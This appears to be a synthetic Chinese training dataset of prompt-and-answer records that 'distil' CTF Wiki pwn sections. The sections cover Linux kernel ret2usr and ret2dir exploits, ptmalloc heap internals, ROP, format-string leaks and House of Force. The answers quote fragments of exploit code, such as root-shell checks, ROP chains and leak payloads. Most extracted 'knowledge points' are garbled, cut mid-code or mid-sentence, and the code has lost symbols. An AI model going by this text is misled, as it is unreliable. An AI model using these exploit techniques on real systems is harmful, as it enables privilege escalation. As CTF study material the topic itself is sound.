章节：ret2usr（已过时） > 例题：2018 强网杯 - core
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“例题：2018 强网杯 - core”展开。
- / never arrive here... */ } ` 这里我们可以注意到，与前面常规 kernel rop 做法不同的主要是 rop 链的构造： - 常规的 kernel rop 通过在内核空间构造复杂的 ROP 链条控制内核执行流完成提权，之后继续通过 ROP chain 调用内核空间中已有的 swapgs;
- iretq 指令返回到用户态，执行用户空间的 system("/bin/sh") 获取 shell， 这种方式需要手工构造复杂 ROP chain ，并非常依赖于内核中可用 ROP gadget 的存在性 。
- iretq 返回用户态的过程，在这种情况下 我们只需要劫持内核执行流，而无需在内核空间构造复杂的 ROP 链条 。
- } void get_root_shell(void) { if(getuid()) { log_error("[x] Failed to get the root!
- void ret2usr_attack(void) { prepare_kernel_cred_kfunc = (void()(void)) prepare_kernel_cred;

关键术语：
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 153 行，首行 `#include <stdio.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例题：2018 强网杯 - core

栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

ret2usr（已过时）


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「真正取出 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > 大循环-遍历 unsorted bin > 寻找较大 chunk > 真正取出 chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“真正取出 chunk”展开。
- if (remainder_size < MINSIZE) { set_inuse_bit_at_offset(victim, size);
- = &main_arena) set_non_main_arena(victim);
- } / Split / // 如果够，尽管分割 else { // 计算剩余的chunk的偏移 remainder = chunk_at_offset(victim, nb);
- / advertise as last remainder / // 如果在small bin范围内，就将其标记为remainder if (in_smallbin_range(nb)) av->last_remainder = remainder;
- in_smallbin_range(remainder_size)) { remainder->fd_nextsize = NULL;

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 57 行，首行 `else {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

真正取出 chunk

申请内存块
_int_malloc
大循环-遍历 unsorted bin
寻找较大 chunk
真正取出 chunk

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「下一块是 top chunk-合并到 top chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`
标题：释放内存块
章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 下一块是 top chunk-合并到 top chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“下一块是 top chunk-合并到 top chunk”展开。
- ``c++ / If the chunk borders the current high end of memory, consolidate into top / // 如果要释放的chunk的下一个chunk是top chunk，那就合并到 top chunk else { size += nextsize;
- set_head(p, size | PREV_INUSE);

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 11 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

下一块是 top chunk-合并到 top chunk

释放内存块
_int_free
合并非 mmap 的空闲 chunk
下一块是 top chunk-合并到 top chunk

释放内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「Step.III - 构造二级自写管道，实现任意内存读写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.III - 构造二级自写管道，实现任意内存读写
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Step.III - 构造二级自写管道，实现任意内存读写”展开。
- 在第一次 UAF 时我们获取到了 page 结构体的地址，而 page 结构体的大小固定为 0x40，且与物理内存页一一对应，试想若是我们可以不断地修改一个 pipe 的 page 指针，则我们便能完成对整个内存空间的任意读写，因此接下来我们要完成这样的一个利用系统的构造。
- 有了 page-level UAF，我们接下来考虑向这张页面分配什么结构体作为下一阶段的 victim object。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Step.III - 构造二级自写管道，实现任意内存读写

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Step.III - 构造二级自写管道，实现任意内存读写

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「unsorted bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`
标题：通过堆进行信息泄漏
章节：通过堆进行信息泄漏 > unsorted bin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“unsorted bin”展开。
- 一旦获取到某个堆块的地址就可以通过malloc的size进行计算从而获得堆基地址。
- 一旦获取到main_arena的地址，因为main_arena存在于libc.so中就可以计算偏移得出libc.so的基地址。
- 因此，通过unsorted bin可以获得：1.libc.so的基地址 2.heap基地址

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x00000000000000d1`
- plain: 4 行，首行 `0x6020f0: 0x0000000000000000 0x00000000000000d1`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

unsorted bin

通过堆进行信息泄漏


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「leak link_map addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：leak link_map addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“leak link_map addr”展开。
- rop = ROP("./main_partial_relro_64") rop.raw(offset'\x00') rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8)) rop.raw(vuln_addr) rop.raw('\x00'(256-len(rop.chain()))) io.send(rop.chain()) link_map_addr = u64(io.recv(8)) print(hex(link_map_addr))

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

leak link_map addr

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：堆相关数据结构 > 微观结构 > malloc_chunk > 概述
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- malloc_chunk 的结构如下 ``c / This struct declaration is misleading (but accurate and necessary).
- / Size of previous chunk (if free). / INTERNAL_SIZE_T size;
- ` 首先，我们给出一些必要的宏的定义： `c / INTERNAL_SIZE_T is the word-size used for internal bookkeeping of chunk sizes.
- 非常有意思的是，无论一个 chunk 的大小如何，处于分配状态还是释放状态，它们都使用一个统一的结构。
- It declares a "view" into memory allowing access to necessary fields at known offsets from a given base.

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 14 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

堆相关数据结构 微观结构 malloc_chunk 概述

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「构造联系人获取堆地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > 堆上的格式化字符串漏洞 > 例子 > 构造联系人获取堆地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“构造联系人获取堆地址”展开。
- 在部分环境下，system地址会出现\x00，导致printf的时候出现0截断导致无法泄露两个地址，因此可以将payload的修改如下： `text [%6$p][%11$p][ccc][system_addr][bbbb][binsh_addr][dddd] `` payload修改为这样的话，还需要在heap上加入12的偏移。
- 得知上面的信息后，我们可以利用下面的方式获取堆地址与相应的 ebp 地址。
- 这里因为函数调用时所申请的栈空间与释放的空间是一致的，所以我们得到的 ebp 地址并不会因为我们再次调用而改变。
- ``text [system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb] ` 来获取对应的相应的地址。

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:text

代码/命令片段线索：
- text: 1 行，首行 `[system_addr][bbbb][binsh_addr][%6$p][%11$p][bbbb]`
- text: 1 行，首行 `[%6$p][%11$p][ccc][system_addr][bbbb][binsh_addr][dddd]`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

构造联系人获取堆地址

例子 堆上的格式化字符串漏洞 例子 构造联系人获取堆地址

堆 栈 漏洞利用 pwn linux user-mode fmtstr code:text

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「off-by-one 覆盖指针低字节」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`
标题：堆中的 Off-By-One
章节：堆中的 Off-By-One > 实例 1: Asis CTF 2016 b00ks > 利用 > off-by-one 覆盖指针低字节
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“off-by-one 覆盖指针低字节”展开。
- 程序中同样提供了一种 change 功能， change 功能用于修改 author name ，所以通过 change 可以写入 author name ，利用 off-by-one 覆盖 pointer array 第一个项的低字节。
- 覆盖掉 book1 指针的低字节后，这个指针会指向 book1 的 description ，由于程序提供了 edit 功能可以任意修改 description 中的内容。
- 我们可以提前在 description 中布置数据伪造成一个 book 结构，这个 book 结构的 description 和 name 指针可以由直接控制。
- 其中 addr+58 是为了使指针指向 book2 的指针地址，使得我们可以任意修改这些指针值。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 11 行，首行 `def off_by_one(addr):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

off-by-one 覆盖指针低字节

堆中的 Off-By-One
实例 1: Asis CTF 2016 b00ks
利用
off-by-one 覆盖指针低字节

堆中的 Off-By-One


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`
标题：Double Fetch
章节：Double Fetch > 概述
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- Double Fetch 直译就是 取值两次，直接理解就是在一次操作当中要两次（或是多次）重新获取某个对象的值，从漏洞原理上属于条件竞争漏洞，是一种内核态与用户态之间的数据访问竞争，其可能出现在下面这种情况当中： - 有一大段数据要从用户空间传给内核空间，但是直接传送整块数据会造成较大的开销，故选择只向内核传送一个指向用户地址空间的指针。
- 一个典型的 Double Fetch 漏洞原理如下图所示，一个用户态线程准备数据并通过系统调用进入内核，该数据在内核中有两次被取用，内核第一次取用数据进行安全检查（如缓冲区大小、指针可用性等），当检查通过后内核第二次取用数据进行实际处理。
- 而在两次取用数据之间，另一个用户态线程可创造条件竞争，对已通过检查的用户态数据进行篡改，在真实使用时造成访问越界或缓冲区溢出，最终导致内核崩溃或权限提升。
- 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据。
- [图片: 典型的Double Fetch原理图;

关键术语：
- 边界/溢出
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

边界/溢出 漏洞利用 pwn linux kernel-mode exploitation

Double Fetch


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「Unsorted bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`
标题：堆中的检查
章节：堆中的检查 > 初始检查 > Unsorted bin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“Unsorted bin”展开。
- | 检查目标 | 检查条件 | 报错信息 | | :-------------------: | :--------------------------------------: | :-------------------------: | | unsorted bin chunk 大小 | chunksize_nomask (victim) <= 2 * SIZE_SZ \|\| chunksize_nomask (victim) av->system_mem | malloc(): memory cor...

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Unsorted bin

堆中的检查


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/mips/rop.md` 中的章节「1. 调用 sleep 函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/mips/rop.md`
标题：mips - ROP
章节：p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02']) > 1. 调用 sleep 函数
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“1. 调用 sleep 函数”展开。
- ` 通过这个 gadget 我们先跳到 s3 的寄存器执行 sleep ，再通过控制的 ra 寄存器进行下一步操作 ` .text:000949EC move $t9, $s3 .text:000949F0 jalr $t9 ;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 20 行，首行 `Python>mipsrop.find("li $a0, 1")`
- plain: 3 行，首行 `.text:000E2660 move $t9, $s2`
- plain: 26 行，首行 `Python>mipsrop.tail()`
- plain: 8 行，首行 `Python>mipsrop.find("mov $t9, $s3")`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

1. 调用 sleep 函数

p = process(['qemu-mipsel-static', '-L', './mipsel', './stack_bof_02'])

mips - ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md` 中的章节「final exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2dir.md`
标题：ret2dir
章节：ret2dir > 例题：MINI-LCTF2022 - kgadget > final exploit
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“final exploit”展开。
- if(getuid()) { puts("\033[31m\033[1m[x] Failed to get the root!
- // to exit the process normally instead of segmentation fault } void constructROPChain(size_t rop) { int idx = 0;
- idx++) rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
- } int main(int argc, char argv, char envp) { saveStatus();
- // construct per-page rop chain physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

关键术语：
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 114 行，首行 `#define _GNU_SOURCE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

final exploit

ret2dir
例题：MINI-LCTF2022 - kgadget
final exploit

ret2dir


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「中层：内核模式驱动（Kernel Mode Driver）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`
标题：基础知识
章节：基础知识 > 二、内核态部分 > 中层：内核模式驱动（Kernel Mode Driver）
路径分类：pwn / pwn/windows/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“中层：内核模式驱动（Kernel Mode Driver）”展开。
- 内核模式驱动可以分为如图所示的三层，越贴近底层越靠近详细具体的硬件结构： [图片文件: https://s2.loli.net/2025/02/01/KeypmW8xGPViXQH.png] 内核模式驱动被实现为离散的模块化组件，而非位于某个特定的 PE 文件中（有点像 LKM？
- Windows 下的驱动有两种：用户模式驱动和内核模式驱动，后者负责向前者提供对应的接口，并将数据传递给更为底层的驱动程序。

关键术语：
- pwn
- windows
- kernel-mode
- basic-knowledge

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

中层：内核模式驱动（Kernel Mode Driver）

基础知识
二、内核态部分
中层：内核模式驱动（Kernel Mode Driver）

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/mem-virtualization.md` 中的章节「扩展页表（Extend Page Table, EPT）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/mem-virtualization.md`
标题：内存虚拟化
章节：内存虚拟化 > 硬件辅助虚拟化 > 扩展页表（Extend Page Table, EPT）
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“扩展页表（Extend Page Table, EPT）”展开。
- EPT 方案虽然相比起影子页表而言多了一层转换，但是并不需要干扰 Guest 原有的页表管理，GVA→GPA→HPA 的过程都由硬件自动完成，同时 Hypervisor 仅需要截获 EPT Violation 异常（EPT 表项为空），效率提高了不少。
- 从软件层面似乎已经是难以有更好的优化的方案了，因此硬件层面的对内存虚拟化的支持便应运而生——EPT 即 Extend Page Table，是 Intel 为实现内存虚拟化而新增的特性，目的是为了减少内存访问的开销。
- EPT 并不干扰 Guest VM 操作自身页表的过程，其本质上是额外提供了一个 Guest 物理地址空间到 Host 物理地址空间转换的页表，即使用一个额外的页表来完成 GPA→HPA 的转换。
- [图片文件: ./figure/ept.png]

关键术语：
- pwn
- virtualization
- basic-knowledge
- mem-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

扩展页表（Extend Page Table, EPT）

内存虚拟化
硬件辅助虚拟化
扩展页表（Extend Page Table, EPT）

pwn virtualization basic-knowledge mem-virtualization.md

内存虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「初始检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`
标题：堆中的检查
章节：堆中的检查 > __int_free > 初始检查
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“初始检查”展开。
- aligned_OK(size) | free(): invalid size |
- | 检查目标 | 检查条件 | 报错信息 | | :--------: | :--------------------------------------: | :---------------------: | | 释放chunk位置 | (uintptr_t) p > (uintptr_t) -size \|\| misaligned_chunk(p) | free(): invalid pointer | | 释放chunk的大小 | size < MINSIZE \|\| !

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

初始检查

堆中的检查


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「对齐页大小」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define DEFAULT_TOP_PAD 131072 > 对齐页大小
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“对齐页大小”展开。
- Otherwise, we correct to page-align below. / size = ALIGN_UP(size, pagesize);
- ``c / Round to a multiple of page size.
- If MORECORE is not contiguous, this ensures that we only call it with whole-page arguments.
- And if MORECORE is contiguous and this is not first time through, this preserves page-alignment of previous calls.

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 8 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

对齐页大小

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「prefetch side-channel attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`
标题：prefetch side-channel attack
章节：prefetch side-channel attack
路径分类：pwn / pwn/hardware/cpu
分块：1/1

核心知识点：
- 本节主题围绕“prefetch side-channel attack”展开。
- Prefetch 侧信道攻击（Prefetch Side-channel Attacks）是由 Daniel Gruss 于论文 _Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR_ 中提出来的一种辅助攻击手法，该攻击方法利用了 Intel CPU 中 prefetch 系指令的硬件设计上的弱点，通过对比在不同虚拟地址上执行 prefetch 指令的时间差以泄露内存相关信息，并绕过 KASLR 等保护。
- CPU 的高速运行极度依赖于 _推测执行_ （speculative execution，即在条件分支判断之前推测后续分支并执行相应指令），数据预取（data prefetching）基于此思想将数据推测性地载入缓存，这可以通过硬件（瞬态执行）或软件（指令，不过有可能会被 CPU 忽略）完成。
- Intel CPU 有着五个用于预取的指令：prefetch0 、prefetch1、prefetch2 、prefetchchnta 、prefetchw，用以主动告诉 CPU 某些内存可能将被访问，ARMv8-A CPUs 也支持了类似的预取指令 PRFM 。

关键术语：
- 漏洞利用
- pwn
- hardware
- cpu
- side-channel

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

prefetch side-channel attack

prefetch side-channel attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「简单示例1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：House Of Force > 简单示例1
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“简单示例1”展开。
- 在学习完 HOF 的原理之后，我们这里通过一个示例来说明 HOF 的利用，这个例子的目标是通过HOF来篡改 [EMAIL_REDACTED] 实现劫持程序流程 `` int main() { long ptr,ptr2;
- 首先，我们需要明确要写入的目的地址，这里我编译程序后，0x601020 是 [EMAIL_REDACTED] 的地址 ` 0x601020: 0x00007ffff7a91130 <=== [EMAIL_REDACTED] ` 所以我们应该将 top chunk 指向 0x601010 处，这样当下次再分配 chunk 时，就可以分配到 [EMAIL_REDACTED] 处的内存了。
- // <=== 分配块实现任意地址写 } ` 首先，我们分配一个 0x10 字节大小的块 ` 0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 <=== top chunk 0x602030: 0x0000000000000000 0x00000000000...
- `c void __libc_malloc(size_t bytes) { ` 如果想要用户输入的大小经过内部的 checked_request2size可以得到这样的大小，即 `c / Check if a request is so large that it would wrap around zero when padded and aligned.
- ` 一方面，我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测，即我们传给 malloc 的值在负数范围内，不得大于 -2 MINSIZE，这个一般情况下都是可以满足的。

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- plain: 9 行，首行 `int main()`
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr`
- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021 <=== ptr`
